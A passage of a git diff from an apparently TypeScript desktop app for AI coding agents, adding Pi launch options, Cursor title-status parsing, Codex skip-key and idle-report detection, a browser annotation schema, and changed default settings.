diff --git a/src/shared/agent-session/options/agent-model-catalog-ownership.ts b/src/shared/agent-session/options/agent-model-catalog-ownership.ts
index 601dd3323b1..9136e84c4d3 100644
--- a/src/shared/agent-session/options/agent-model-catalog-ownership.ts
+++ b/src/shared/agent-session/options/agent-model-catalog-ownership.ts
@@ -3,7 +3,7 @@ export function independentAgentModelCatalog(agent: string): boolean {
 }
 
 export function usesModelSpecificAcpEfforts(agent: string): boolean {
-  return agent === 'opencode' || agent === 'opencode2'
+  return agent === 'opencode' || agent === 'opencode2' || agent === 'omp'
 }
 
 export function usesInstalledAgentModelCatalog(agent: string, coherentCatalog?: boolean): boolean {
diff --git a/src/shared/agent-session/options/agent-session-option-catalog-pi.ts b/src/shared/agent-session/options/agent-session-option-catalog-pi.ts
new file mode 100644
index 00000000000..c9038eafc91
--- /dev/null
+++ b/src/shared/agent-session/options/agent-session-option-catalog-pi.ts
@@ -0,0 +1,47 @@
+import { agentChoiceCliApply } from '../../agent-launch/choices/agent-choice-cli-apply'
+import type { AgentSessionOptionCatalog } from './agent-session-option-catalog-types'
+import { PI_THINKING_LEVELS } from './structured-agent-session-effective-effort'
+
+// Why: terminal launches need Pi's CLI flags; Pi chats keep applying picks over RPC.
+export const PI_LAUNCH_OPTION_CATALOG: AgentSessionOptionCatalog = {
+  // Pi models depend on configured providers; ids are opaque `provider/id` selectors.
+  models: [],
+  modelApply: agentChoiceCliApply(
+    'pi',
+    [
+      {
+        kind: 'value',
+        names: ['--model'],
+        lift: 'separate-and-long-equals',
+        // Pi's CLI fuzzy-matches `--model`; chats need exact ids, so Arguments never become a model choice.
+        recognizes: () => false
+      }
+    ],
+    '--model'
+  ),
+  unknownModelOptions: [
+    {
+      id: 'effort',
+      label: 'Reasoning effort',
+      category: 'thought_level',
+      kind: {
+        type: 'select',
+        choices: PI_THINKING_LEVELS.map((level) => ({ value: level, label: level })),
+        // Pi's own config decides the level when none is sent.
+        defaultValue: ''
+      },
+      apply: agentChoiceCliApply(
+        'pi',
+        [
+          {
+            kind: 'value',
+            names: ['--thinking'],
+            lift: 'separate-and-long-equals',
+            recognizes: (value) => PI_THINKING_LEVELS.includes(value)
+          }
+        ],
+        '--thinking'
+      )
+    }
+  ]
+}
diff --git a/src/shared/agent-session/options/agent-session-option-catalog.ts b/src/shared/agent-session/options/agent-session-option-catalog.ts
index 8117dfdd1a6..3cac0cfae2e 100644
--- a/src/shared/agent-session/options/agent-session-option-catalog.ts
+++ b/src/shared/agent-session/options/agent-session-option-catalog.ts
@@ -13,6 +13,7 @@ import {
 import { GROK_SESSION_OPTION_CATALOG } from './agent-session-option-catalog-grok'
 import { MUSE_SESSION_OPTION_CATALOG } from './agent-session-option-catalog-muse'
 import { OMP_SESSION_OPTION_CATALOG } from './agent-session-option-catalog-omp'
+import { PI_LAUNCH_OPTION_CATALOG } from './agent-session-option-catalog-pi'
 import type {
   AgentSessionOptionCatalog,
   AgentSessionOptionCatalogMap,
@@ -91,5 +92,9 @@ export function sessionOptionValueIsValid(value: unknown): value is SessionOptio
 export function getAgentSessionOptionLaunchCatalog(
   agent: AgentType
 ): AgentSessionOptionCatalog | null {
-  return agent === 'opencode' ? OPENCODE_LAUNCH_OPTION_CATALOG : getAgentSessionOptionCatalog(agent)
+  return agent === 'opencode'
+    ? OPENCODE_LAUNCH_OPTION_CATALOG
+    : agent === 'pi'
+      ? PI_LAUNCH_OPTION_CATALOG
+      : getAgentSessionOptionCatalog(agent)
 }
diff --git a/src/shared/agent-session/options/host-model-catalog-snapshot-rules.ts b/src/shared/agent-session/options/host-model-catalog-snapshot-rules.ts
index 00557f102bb..2170314e58f 100644
--- a/src/shared/agent-session/options/host-model-catalog-snapshot-rules.ts
+++ b/src/shared/agent-session/options/host-model-catalog-snapshot-rules.ts
@@ -26,7 +26,18 @@ function withoutNamedDefault(catalog: ListedHostModelCatalog): ListedHostModelCa
   }
 }
 
-/** Undefined when no answer fits this launch. Workspace config can replace defaults, so another workspace’s answer is valid only for named models, no-default lists or host-proven workspace-independent defaults. */
+/** A default no workspace config could replace stays; any other can't be promised to a new launch. */
+export function withoutUnprovenNewLaunchDefault(
+  catalog: AgentSessionModelCatalogResult
+): AgentSessionModelCatalogResult {
+  return catalog.origin === 'unknown' ||
+    catalog.listingNamesConfiguredModel === false ||
+    catalog.defaultHoldsInEveryWorkspace === true
+    ? catalog
+    : withoutNamedDefault(catalog)
+}
+
+/** Undefined when no answer fits this launch. Workspace config can replace defaults, so another workspace’s default is named only for no-default lists or host-proven workspace-independent defaults. */
 export function selectHostModelCatalogSnapshot(
   snapshot: HostModelCatalogSnapshot | undefined,
   launch: HostModelCatalogLaunch
@@ -49,7 +60,8 @@ export function selectHostModelCatalogSnapshot(
   ) {
     return listed
   }
-  return launch.seedsModel ? withoutNamedDefault(listed) : undefined
+  // Another workspace may run a different default, so name none; the list itself still lets a new chat pick.
+  return withoutNamedDefault(listed)
 }
 
 /** The snapshot after a host answer for `worktree` (null for a session-less read); undefined means keep none.
diff --git a/src/shared/agent-session/structured-agent-session-reconnect.test.ts b/src/shared/agent-session/structured-agent-session-reconnect.test.ts
deleted file mode 100644
index e27511d3818..00000000000
--- a/src/shared/agent-session/structured-agent-session-reconnect.test.ts
+++ /dev/null
@@ -1,43 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import {
-  createReconnectScheduler,
-  RECONNECT_STABLE_STREAM_MS
-} from './structured-agent-session-reconnect'
-
-describe('stream reconnect backoff', () => {
-  beforeEach(() => vi.useFakeTimers())
-  afterEach(() => vi.useRealTimers())
-
-  function scheduler() {
-    const reconnect = vi.fn()
-    const retry = createReconnectScheduler({ shouldStop: () => false, reconnect })
-    /** Run one reconnect cycle and report how long it waited. */
-    const cycle = (): number => {
-      const start = Date.now()
-      retry.schedule()
-      vi.advanceTimersToNextTimer()
-      return Date.now() - start
-    }
-    return { retry, cycle }
-  }
-
-  // #39926: a host that ends a stream right after its first frames must not cause a 750 ms storm.
-  it('keeps growing the wait for a stream that ends right after delivering', () => {
-    const { retry, cycle } = scheduler()
-    retry.noteDelivered()
-    expect(cycle()).toBe(750)
-    retry.noteDelivered()
-    expect(cycle()).toBe(1_500)
-    retry.noteDelivered()
-    expect(cycle()).toBe(3_000)
-  })
-
-  it('retries soon again after a stream that stayed up', () => {
-    const { retry, cycle } = scheduler()
-    expect(cycle()).toBe(750)
-    expect(cycle()).toBe(1_500)
-    retry.noteDelivered()
-    vi.advanceTimersByTime(RECONNECT_STABLE_STREAM_MS)
-    expect(cycle()).toBe(750)
-  })
-})
diff --git a/src/shared/agent-status/identity/agent-status-identity.ts b/src/shared/agent-status/identity/agent-status-identity.ts
index e6aee9920e1..b52a09c0751 100644
--- a/src/shared/agent-status/identity/agent-status-identity.ts
+++ b/src/shared/agent-status/identity/agent-status-identity.ts
@@ -38,6 +38,23 @@ function normalizedKnownAgentType(agentType: AgentType | null | undefined): Agen
   return agentType
 }
 
+// OSC 7501 reports OpenCode 2 as `opencode`. The status plugin posts `opencode2`.
+const OPEN_CODE_STATUS_AGENTS = new Set<AgentType>(['opencode', 'opencode2'])
+
+function sameOpenCodeStatusAgent(left: AgentType, right: AgentType): boolean {
+  return OPEN_CODE_STATUS_AGENTS.has(left) && OPEN_CODE_STATUS_AGENTS.has(right)
+}
+
+function presenceComparedAs(
+  presence: AgentProcessPresence | undefined,
+  agent: AgentType
+): AgentProcessPresence | undefined {
+  if (!presence || !sameOpenCodeStatusAgent(presence.agent, agent)) {
+    return presence
+  }
+  return { ...presence, agent }
+}
+
 function isActiveExistingIdentity(
   existing: ExistingAgentIdentity,
   now: number,
@@ -70,11 +87,17 @@ export function resolveAgentStatusIdentity(args: {
       inheritedFromActivePane: false
     }
   }
-  const otherProcessOwner = hasOtherAgentProcessOwner(args.existing.agentPresence, {
-    agent: incomingAgentType,
-    process: args.incomingProcess
-  })
-  if (existingAgentType === incomingAgentType) {
+  const sameOpenCode = sameOpenCodeStatusAgent(existingAgentType, incomingAgentType)
+  const otherProcessOwner = hasOtherAgentProcessOwner(
+    sameOpenCode
+      ? presenceComparedAs(args.existing.agentPresence, incomingAgentType)
+      : args.existing.agentPresence,
+    {
+      agent: incomingAgentType,
+      process: args.incomingProcess
+    }
+  )
+  if (existingAgentType === incomingAgentType || sameOpenCode) {
     return {
       agentType: incomingAgentType,
       // Why: a nested `claude -p` shares the pane key; only the owner's own process speaks for it.
diff --git a/src/shared/agent-status/lifecycle/agent-question-answered-intent.ts b/src/shared/agent-status/lifecycle/agent-question-answered-intent.ts
index 0ef8d377298..47c98a7a667 100644
--- a/src/shared/agent-status/lifecycle/agent-question-answered-intent.ts
+++ b/src/shared/agent-status/lifecycle/agent-question-answered-intent.ts
@@ -8,6 +8,8 @@ export type AgentQuestionAnsweredInferenceRequest = {
   baselineStateStartedAt: number
   baselinePrompt: string
   baselineAgentType: AgentType | undefined
+  /** Codex's skip key, not an answer: Codex reports neither, but only a skip drops a question. */
+  codexSkip?: true
 }
 
 /** True for the ask-the-user-a-question tool across agents: Claude's
diff --git a/src/shared/agent-status/presentation/agent-row-decay-state.ts b/src/shared/agent-status/presentation/agent-row-decay-state.ts
index 915717bf8c8..dd643b53dfe 100644
--- a/src/shared/agent-status/presentation/agent-row-decay-state.ts
+++ b/src/shared/agent-status/presentation/agent-row-decay-state.ts
@@ -1,4 +1,8 @@
-import { agentStatusEvidenceObservedAt } from '../contracts/agent-status-freshness'
+import {
+  AGENT_STATUS_STALE_AFTER_MS,
+  agentStatusEvidenceObservedAt,
+  isAgentStatusFresh
+} from '../contracts/agent-status-freshness'
 import type { AgentStatusEntry, AgentStatusState } from '../contracts/agent-status-types'
 
 /** Row states: the hook-reported statuses plus the two Orca derives when an entry goes stale. */
@@ -16,6 +20,19 @@ export function resolveDecayedAgentRowState(
     : 'idle'
 }
 
+/** The row state the workspace card and Activity both show: stale working/blocked/waiting decays by PTY evidence. */
+export function resolveAgentRowState(
+  entry: DecayInput & Parameters<typeof isAgentStatusFresh>[0],
+  now: number,
+  hasLivePty: boolean
+): AgentRowState {
+  const canDecay =
+    entry.state === 'working' || entry.state === 'blocked' || entry.state === 'waiting'
+  return canDecay && !isAgentStatusFresh(entry, now, AGENT_STATUS_STALE_AFTER_MS)
+    ? resolveDecayedAgentRowState(entry, hasLivePty)
+    : entry.state
+}
+
 /** Coarse `34m` / `2h` / `3d` duration, floored so it never overstates the gap. */
 export function formatCompactDuration(deltaMs: number): string {
   const minutes = Math.max(0, Math.floor(deltaMs / 60_000))
diff --git a/src/shared/agent-status/title/agent-title-status.ts b/src/shared/agent-status/title/agent-title-status.ts
index 9a556fd591e..325a0114a33 100644
--- a/src/shared/agent-status/title/agent-title-status.ts
+++ b/src/shared/agent-status/title/agent-title-status.ts
@@ -1,5 +1,6 @@
 import { getDeepSeekBuildTitleStatus } from './providers/dsb-terminal-title'
 import { qoderTitleStatus } from './providers/qoder-terminal-title'
+import { cursorTitleStatus } from './providers/cursor-terminal-title'
 import {
   AGY_AGENT_NAME_RE,
   DROID_AGENT_NAME_RE,
@@ -235,6 +236,10 @@ function computeAgentStatusFromTitle(title: string): AgentStatus | null {
   if (qoderStatus) {
     return qoderStatus
   }
+  const cursorStatus = cursorTitleStatus(title)
+  if (cursorStatus) {
+    return cursorStatus
+  }
   if (!title || isClaudeManagementTitle(title)) {
     return null
   }
diff --git a/src/shared/agent-status/title/providers/cursor-terminal-title.ts b/src/shared/agent-status/title/providers/cursor-terminal-title.ts
new file mode 100644
index 00000000000..7eb1ccc9def
--- /dev/null
+++ b/src/shared/agent-status/title/providers/cursor-terminal-title.ts
@@ -0,0 +1,25 @@
+import type { AgentStatus } from '../agent-title-core'
+
+// cursor-agent 2026.11 (display.showStatusIndicators) titles `<chat> - <emoji> <label>[ (<worktree>)]`.
+// Review, loading, cloud and reconnect states are not a running turn, so they carry no status.
+// Emoji are escaped because orcad bundles reject non-ASCII source.
+const CURSOR_STATUS_TITLE_RE =
+  /\s-\s(\u{23F3} Working(?: [.\u{B7}]{3})?|\u{2328}\u{FE0F}? Running shell command|\u{1F9ED} Planning|\u{1F4CB} Queued|\u{2753} Waiting for you|\u{1F510} Waiting for confirmation|\u{2705} Ready)(?: \(.*\))?$/u
+
+const CURSOR_STATUS_BY_EMOJI: Record<string, AgentStatus> = {
+  '\u{23F3}': 'working',
+  '\u{2328}': 'working',
+  '\u{1F9ED}': 'working',
+  '\u{1F4CB}': 'working',
+  '\u{2753}': 'permission',
+  '\u{1F510}': 'permission',
+  '\u{2705}': 'idle'
+}
+
+export function cursorTitleStatus(title: string): AgentStatus | null {
+  const emoji = title
+    .trim()
+    .match(CURSOR_STATUS_TITLE_RE)?.[1]
+    ?.split(/[\u{FE0F} ]/u)[0]
+  return emoji ? (CURSOR_STATUS_BY_EMOJI[emoji] ?? null) : null
+}
diff --git a/src/shared/agent-status/title/synthetic-agent-title.ts b/src/shared/agent-status/title/synthetic-agent-title.ts
index bf41169e35a..a410e5fa95b 100644
--- a/src/shared/agent-status/title/synthetic-agent-title.ts
+++ b/src/shared/agent-status/title/synthetic-agent-title.ts
@@ -34,7 +34,9 @@ export const SYNTHETIC_AGENT_TITLE_PROFILES: Record<string, SyntheticAgentTitleP
   cursor: {
     workingLabel: 'Cursor Agent',
     permissionLabel: 'Cursor - action required',
-    idleLabel: 'Cursor ready'
+    idleLabel: 'Cursor ready',
+    // cursor-agent paints its own chat-name title through a turn; reasserting ours makes the tab flicker.
+    synthesizeWorkingTitle: false
   },
   opencode: {
     workingLabel: 'OpenCode',
diff --git a/src/shared/artifacts/artifact-sharing-gate.ts b/src/shared/artifacts/artifact-sharing-gate.ts
index 3dc47ddb4cc..755c8b88990 100644
--- a/src/shared/artifacts/artifact-sharing-gate.ts
+++ b/src/shared/artifacts/artifact-sharing-gate.ts
@@ -23,7 +23,7 @@ export class ArtifactSharingDisabledError extends Error {
   }
 }
 
-/** Absent or non-`true` denies: an unmigrated profile must not inherit the capability. */
+/** Only explicit `true` grants: new profiles store it from defaults; absent or `false` denies. */
 export function isArtifactSharingEnabled(
   settings: Pick<GlobalSettings, 'artifactSharingEnabled'> | null | undefined
 ): boolean {
diff --git a/src/shared/browser-agent-activity-contract.ts b/src/shared/browser-agent-activity-contract.ts
index bd48faf32e3..3f1e479f2f1 100644
--- a/src/shared/browser-agent-activity-contract.ts
+++ b/src/shared/browser-agent-activity-contract.ts
@@ -11,6 +11,8 @@ export type BrowserAgentActivityEvent = {
   active: boolean
   /** Set while an SSH host's orca CLI drives the page through the desktop browser bridge. */
   controllerHostLabel?: string
+  /** The chat whose agent sent the command; absent for older CLIs, remote hosts and terminal agents. */
+  agentSessionId?: string
 }
 
 /** Where the agent is about to act, in the page's CSS px. */
diff --git a/src/renderer/src/components/browser-pane/annotate/browser-annotation-output.test.ts b/src/shared/browser/annotations/browser-annotation-output.test.ts
similarity index 97%
rename from src/renderer/src/components/browser-pane/annotate/browser-annotation-output.test.ts
rename to src/shared/browser/annotations/browser-annotation-output.test.ts
index 9dd29c59aed..6f1fd29ef65 100644
--- a/src/renderer/src/components/browser-pane/annotate/browser-annotation-output.test.ts
+++ b/src/shared/browser/annotations/browser-annotation-output.test.ts
@@ -1,5 +1,5 @@
 import { describe, expect, it } from 'vitest'
-import type { BrowserPageAnnotation } from '../../../../../shared/browser/element-grab/browser-grab-types'
+import type { BrowserPageAnnotation } from '../element-grab/browser-grab-types'
 import {
   BROWSER_ANNOTATION_INLINE_TEXT_MAX_LENGTH,
   formatBrowserAnnotationsAsMarkdown
diff --git a/src/renderer/src/components/browser-pane/annotate/browser-annotation-output.ts b/src/shared/browser/annotations/browser-annotation-output.ts
similarity index 98%
rename from src/renderer/src/components/browser-pane/annotate/browser-annotation-output.ts
rename to src/shared/browser/annotations/browser-annotation-output.ts
index 1285f4acd11..742943aa1f5 100644
--- a/src/renderer/src/components/browser-pane/annotate/browser-annotation-output.ts
+++ b/src/shared/browser/annotations/browser-annotation-output.ts
@@ -2,8 +2,8 @@ import type {
   BrowserGrabComputedStyles,
   BrowserGrabPayload,
   BrowserPageAnnotation
-} from '../../../../../shared/browser/element-grab/browser-grab-types'
-import { isWindowsAbsolutePathLike } from '../../../../../shared/cross-platform-path'
+} from '../element-grab/browser-grab-types'
+import { isWindowsAbsolutePathLike } from '../../cross-platform-path'
 
 function formatPageHeading(payload: BrowserGrabPayload): string {
   // Document previews report a file path; `C:\` would otherwise parse as a URL scheme.
diff --git a/src/shared/browser/annotations/browser-page-annotation-schema.ts b/src/shared/browser/annotations/browser-page-annotation-schema.ts
new file mode 100644
index 00000000000..d04c8710c2b
--- /dev/null
+++ b/src/shared/browser/annotations/browser-page-annotation-schema.ts
@@ -0,0 +1,77 @@
+import { z } from 'zod'
+import type { BrowserPageAnnotation } from '../element-grab/browser-grab-types'
+
+const rectSchema = z.object({
+  x: z.number(),
+  y: z.number(),
+  width: z.number(),
+  height: z.number()
+})
+
+const payloadSchema = z.object({
+  page: z.object({
+    sanitizedUrl: z.string(),
+    title: z.string(),
+    viewportWidth: z.number(),
+    viewportHeight: z.number(),
+    scrollX: z.number(),
+    scrollY: z.number(),
+    devicePixelRatio: z.number(),
+    capturedAt: z.string()
+  }),
+  target: z.object({
+    tagName: z.string(),
+    selector: z.string(),
+    elementPath: z.string().optional(),
+    fullPath: z.string().optional(),
+    cssClasses: z.string().optional(),
+    nearbyElements: z.array(z.string()).optional(),
+    selectedText: z.string().nullable().optional(),
+    isFixed: z.boolean().optional(),
+    reactComponents: z.string().nullable().optional(),
+    sourceFile: z.string().nullable().optional(),
+    textSnippet: z.string(),
+    htmlSnippet: z.string(),
+    attributes: z.record(z.string(), z.string()),
+    accessibility: z.object({
+      role: z.string().nullable(),
+      accessibleName: z.string().nullable(),
+      ariaLabel: z.string().nullable(),
+      ariaLabelledBy: z.string().nullable()
+    }),
+    rectViewport: rectSchema,
+    rectPage: rectSchema,
+    computedStyles: z.object({
+      display: z.string(),
+      position: z.string(),
+      width: z.string(),
+      height: z.string(),
+      margin: z.string(),
+      padding: z.string(),
+      color: z.string(),
+      backgroundColor: z.string(),
+      border: z.string(),
+      borderRadius: z.string(),
+      fontFamily: z.string(),
+      fontSize: z.string(),
+      fontWeight: z.string(),
+      lineHeight: z.string(),
+      textAlign: z.string(),
+      zIndex: z.string()
+    })
+  }),
+  nearbyText: z.array(z.string()),
+  ancestorPath: z.array(z.string()),
+  screenshot: z.null().catch(null)
+})
+
+export const browserPageAnnotationSchema: z.ZodType<BrowserPageAnnotation> = z.object({
+  id: z.string(),
+  browserPageId: z.string(),
+  comment: z.string(),
+  intent: z.enum(['fix', 'change', 'question', 'approve']),
+  priority: z.enum(['blocking', 'important', 'suggestion']),
+  createdAt: z.string(),
+  payload: payloadSchema,
+  imagePaths: z.array(z.string()).optional()
+})
diff --git a/src/shared/browser/extensions/browser-extension-settings.ts b/src/shared/browser/extensions/browser-extension-settings.ts
index 04b5e23efa5..50c3bc0fe10 100644
--- a/src/shared/browser/extensions/browser-extension-settings.ts
+++ b/src/shared/browser/extensions/browser-extension-settings.ts
@@ -1,4 +1,4 @@
 export type BrowserExtensionGlobalSettings = {
   /** Chrome extensions in local browser profiles; switching it applies immediately. */
-  experimentalBrowserExtensions?: boolean
+  browserExtensionsEnabled?: boolean
 }
diff --git a/src/shared/browser/runtime/runtime-browser-contracts.ts b/src/shared/browser/runtime/runtime-browser-contracts.ts
index 81cb593fdb5..41851575b65 100644
--- a/src/shared/browser/runtime/runtime-browser-contracts.ts
+++ b/src/shared/browser/runtime/runtime-browser-contracts.ts
@@ -1,3 +1,4 @@
+import type { BrowserPageAnnotation } from '../element-grab/browser-grab-types'
 import type {
   BrowserCertificateFailure,
   BrowserCookieImportResult,
@@ -122,6 +123,11 @@ export type BrowserTabSetProfileResult = {
 }
 
 export type BrowserTabShowResult = { tab: BrowserTabInfo }
+/** The notes the user left on a tab's page and has not sent yet. */
+export type BrowserTabAnnotationsResult = {
+  tab: BrowserTabInfo
+  annotations: BrowserPageAnnotation[]
+}
 export type BrowserTabCurrentResult = { tab: BrowserTabInfo }
 
 export type BrowserTabProfileShowResult = {
diff --git a/src/shared/codex-async-question-input.ts b/src/shared/codex-async-question-input.ts
index 7d1fb003071..573cf4f7be3 100644
--- a/src/shared/codex-async-question-input.ts
+++ b/src/shared/codex-async-question-input.ts
@@ -21,3 +21,16 @@ export function parseCodexAsyncQuestionsInput(input: unknown): AskPrompt | null
   }
   return questions.length > 0 ? { questions, replyAsMessage: true } : null
 }
+
+/** Codex's default `chat.skip_question` key (Ctrl+]) as legacy, kitty and modifyOtherKeys bytes;
+ *  a remapped key is not seen. */
+const CODEX_SKIP_QUESTION_INPUTS: ReadonlySet<string> = new Set([
+  '\x1d',
+  '\x1b[93;5u',
+  '\x1b[93;5:1u',
+  '\x1b[27;5;93~'
+])
+
+export function isCodexSkipQuestionInput(data: string): boolean {
+  return CODEX_SKIP_QUESTION_INPUTS.has(data)
+}
diff --git a/src/shared/codex-composer-ready-scanner.test.ts b/src/shared/codex-composer-ready-scanner.test.ts
index 8cfdea95efc..226c44c091f 100644
--- a/src/shared/codex-composer-ready-scanner.test.ts
+++ b/src/shared/codex-composer-ready-scanner.test.ts
@@ -7,6 +7,7 @@ const END = '\x1b[37;3H\x1b[?25h\x1b[?2026l'
 // Geometry from the 0.160.1 startup capture, with synthetic labels.
 const PROVISIONAL = `${MODES}${BEGIN}\x1b[37;1H›\x1b[40;3H? for shortcuts${END}`
 const LIVE = `${BEGIN}\x1b[39;3HModel high · folder${END}`
+const IDLE_REPORT = '\x1b]7501;state=idle:app=codex\x1b\\'
 
 describe('Codex fullscreen composer paste gate', () => {
   it('waits for the live footer, then accepts cursor-only redraws', () => {
@@ -33,11 +34,22 @@ describe('Codex fullscreen composer paste gate', () => {
     expect(scanner.observe(LIVE).ready).toBe(true)
   })
 
+  it('takes Codex’s idle report when its status line paints no footer row', () => {
+    const scanner = createDraftPasteReadyScanner('codex-composer-prompt')
+    expect(scanner.observe(PROVISIONAL).ready).toBe(false)
+    // Codex 0.167 with `status_line = ["git-branch"]` outside a git repo: only the hint row repaints.
+    expect(scanner.observe(`${BEGIN}\x1b[40;3H← agents · ? for shortcuts${END}`).ready).toBe(false)
+    expect(scanner.observe(IDLE_REPORT).ready).toBe(true)
+    expect(scanner.observe('\x1b]7501;state=blocked:kind=question:app=codex\x1b\\').ready).toBe(
+      false
+    )
+  })
+
   it.each(['\x1b[?2004l', '\x1b[?1049l'])(
     'withdraws the composer when its terminal mode ends (%s)',
     (leave) => {
       const scanner = createDraftPasteReadyScanner('codex-composer-prompt')
-      expect(scanner.observe(PROVISIONAL + LIVE + leave).ready).toBe(false)
+      expect(scanner.observe(PROVISIONAL + LIVE + IDLE_REPORT + leave).ready).toBe(false)
       expect(scanner.observe('› shell prompt\x1b[?25h').ready).toBe(false)
     }
   )
diff --git a/src/shared/codex-composer-ready-scanner.ts b/src/shared/codex-composer-ready-scanner.ts
index ae0ae2f8881..76aff3c314e 100644
--- a/src/shared/codex-composer-ready-scanner.ts
+++ b/src/shared/codex-composer-ready-scanner.ts
@@ -1,6 +1,7 @@
 import { createTerminalEscapeScanner } from './terminal/protocol/escape/terminal-escape-scanner'
+import { createProgramStatusOscScanner } from './program-status/osc-scanner'
 
-/** The fullscreen loading frame has a composer too; only the live chat paints its footer. */
+/** The fullscreen loading frame has a composer too; only the live chat paints its footer or reports idle. */
 export function createCodexComposerReadyScanner(): {
   observe: (data: string) => { ready: boolean }
 } {
@@ -15,7 +16,10 @@ export function createCodexComposerReadyScanner(): {
   let hintRow: number | null = null
   let row: number | null = null
   let cursorShown = false
+  // Codex 0.166+ reports idle once its live chat is up; the footer rule misses a status line that paints nothing.
+  let reportedIdle = false
   const paintedRows = new Set<number>()
+  const scanProgramStatus = createProgramStatusOscScanner()
 
   const resetLayout = (): void => {
     promptSeen = false
@@ -34,11 +38,15 @@ export function createCodexComposerReadyScanner(): {
           if (mode === '2004') {
             bracketedPaste = set
             if (!set) {
+              reportedIdle = false
               resetLayout()
             }
           } else if (mode === '1049') {
             altScreen = set
             leftAltScreen = !set
+            if (!set) {
+              reportedIdle = false
+            }
             resetLayout()
           } else if (mode === '2026') {
             synchronized = set
@@ -74,7 +82,21 @@ export function createCodexComposerReadyScanner(): {
 
   return {
     observe: (data) => {
-      scanner.observe(data)
+      let scanned = 0
+      for (const event of scanProgramStatus(data)) {
+        if (event.type === 'report' && event.report.id === null && event.report.app === 'codex') {
+          const { state } = event.report
+          // Working keeps the composer open (MCP startup); a blocked view or exit discards input.
+          if (state === 'working' || state === 'done') {
+            continue
+          }
+          // In byte order: only a mode exit after the report revokes it.
+          scanner.observe(data.slice(scanned, event.offset))
+          scanned = event.offset
+          reportedIdle = state === 'idle'
+        }
+      }
+      scanner.observe(data.slice(scanned))
       const liveFullscreenComposer =
         altScreen &&
         !synchronized &&
@@ -89,7 +111,7 @@ export function createCodexComposerReadyScanner(): {
       // Older inline builds do not paint synchronized fullscreen frames.
       const legacyComposer = promptSeen && !leftAltScreen && (!altScreen || !sawSynchronizedFrame)
       return {
-        ready: bracketedPaste && (liveFullscreenComposer || legacyComposer)
+        ready: bracketedPaste && (reportedIdle || liveFullscreenComposer || legacyComposer)
       }
     }
   }
diff --git a/src/shared/color/rgba-contrast.ts b/src/shared/color/rgba-contrast.ts
index c132f0d1a50..3febbc8c67f 100644
--- a/src/shared/color/rgba-contrast.ts
+++ b/src/shared/color/rgba-contrast.ts
@@ -48,6 +48,20 @@ export function readableOn(
   return extreme
 }
 
+export function hexToRgb(hex: string): Rgba {
+  let clean = hex.replace('#', '')
+  if (clean.length === 3) {
+    clean = clean
+      .split('')
+      .map((c) => c + c)
+      .join('')
+  }
+  const r = Number.parseInt(clean.slice(0, 2), 16)
+  const g = Number.parseInt(clean.slice(2, 4), 16)
+  const b = Number.parseInt(clean.slice(4, 6), 16)
+  return [r, g, b, 1]
+}
+
 export function rgbaToHex([r, g, b]: Rgba): string {
   return `#${[r, g, b]
     .map((channel) =>
diff --git a/src/shared/constants.ts b/src/shared/constants.ts
index 2c2b79c257e..df84cae7723 100644
--- a/src/shared/constants.ts
+++ b/src/shared/constants.ts
@@ -14,6 +14,7 @@ import { DEFAULT_WORKTREE_CARD_PROPERTIES } from './worktree/card-properties'
 import { DEFAULT_AGENTS_GROUP_BY, DEFAULT_AGENTS_READ_FILTER } from './agents-view-thread-filters'
 import { DEFAULT_USAGE_PERCENTAGE_DISPLAY } from './usage-percentage-display'
 import { DEFAULT_STATUS_BAR_USAGE_MODE } from './status-bar-usage-mode'
+import { DEFAULT_STATUS_BAR_USAGE_FORMAT } from './status-bar-usage-format'
 import { buildDefaultSettings } from './default-global-settings'
 import { DEFAULT_SETUP_AGENT_STARTUP_POLICY } from './agent-launch/startup/setup-agent-startup-policy'
 import { DEFAULT_BROWSER_PAGE_ZOOM_LEVEL } from './browser-page-zoom'
@@ -221,6 +222,7 @@ export function getDefaultUIState(): PersistedUIState {
     statusBarVisible: true,
     usagePercentageDisplay: DEFAULT_USAGE_PERCENTAGE_DISPLAY,
     statusBarUsageMode: DEFAULT_STATUS_BAR_USAGE_MODE,
+    statusBarUsageFormat: { ...DEFAULT_STATUS_BAR_USAGE_FORMAT },
     dismissedUpdateVersion: null,
     dismissedUnexpectedSignoutVersion: null,
     lastUpdateCheckAt: null,
diff --git a/src/shared/default-global-settings.ts b/src/shared/default-global-settings.ts
index 830d800d58f..4af8e2b0394 100644
--- a/src/shared/default-global-settings.ts
+++ b/src/shared/default-global-settings.ts
@@ -147,7 +147,7 @@ export function buildDefaultSettings(args: {
     terminalLinkActionPopoverEnabled: true,
     terminalLinkClickBehavior: 'actions',
     terminalUrlMiddleClickBehavior: 'open',
-    experimentalBrowserExtensions: false,
+    browserExtensionsEnabled: true,
     agentDefaultSurface: 'terminal',
     nativeChatResumeWorkOnRestart: true,
     nativeChatQueueFollowUps: true,
@@ -174,7 +174,8 @@ export function buildDefaultSettings(args: {
     showTasksButton: true,
     showAutomationsButton: true,
     artifactsEnabled: true,
-    artifactSharingEnabled: false,
+    // New profiles only; stored profiles without the key load as false (normalizeLoadedGlobalSettings).
+    artifactSharingEnabled: true,
     agentSkillSharingEnabled: false,
     nestedWorkerMaxDepth: NESTED_WORKER_MAX_DEPTH_DEFAULT,
     nestedWorkerMaxDepthDefaultedToFour: true,
diff --git a/src/shared/desktop-browser-bridge-protocol.ts b/src/shared/desktop-browser-bridge-protocol.ts
index dfc1c615647..86b595a8027 100644
--- a/src/shared/desktop-browser-bridge-protocol.ts
+++ b/src/shared/desktop-browser-bridge-protocol.ts
@@ -6,6 +6,9 @@ export const DESKTOP_BROWSER_BRIDGE_RUNTIME_CAPABILITY = 'browser.desktopBridge.
 export const DESKTOP_BROWSER_BRIDGE_CANCEL_CAPABILITY = 'browser.desktopBridge.cancel.v1'
 /** Older desktops re-parse params and would drop expectUrl, so commands carrying it need this. */
 export const DESKTOP_BROWSER_BRIDGE_EXPECT_URL_CAPABILITY = 'browser.desktopBridge.expect-url.v1'
+/** Older desktops drop the whole attachment on a method they don't allow, so tab annotations need this. */
+export const DESKTOP_BROWSER_BRIDGE_TAB_ANNOTATIONS_CAPABILITY =
+  'browser.desktopBridge.tab-annotations.v1'
 
 export const DESKTOP_BROWSER_BRIDGE_UNAVAILABLE_CODE = 'desktop_browser_bridge_unavailable'
 export const DESKTOP_BROWSER_BRIDGE_NOT_FORWARDED_CODE = 'desktop_browser_bridge_not_forwarded'
@@ -27,6 +30,7 @@ export const DESKTOP_BROWSER_BRIDGE_METHODS: ReadonlySet<string> = new Set([
   'browser.tabList',
   'browser.tabCurrent',
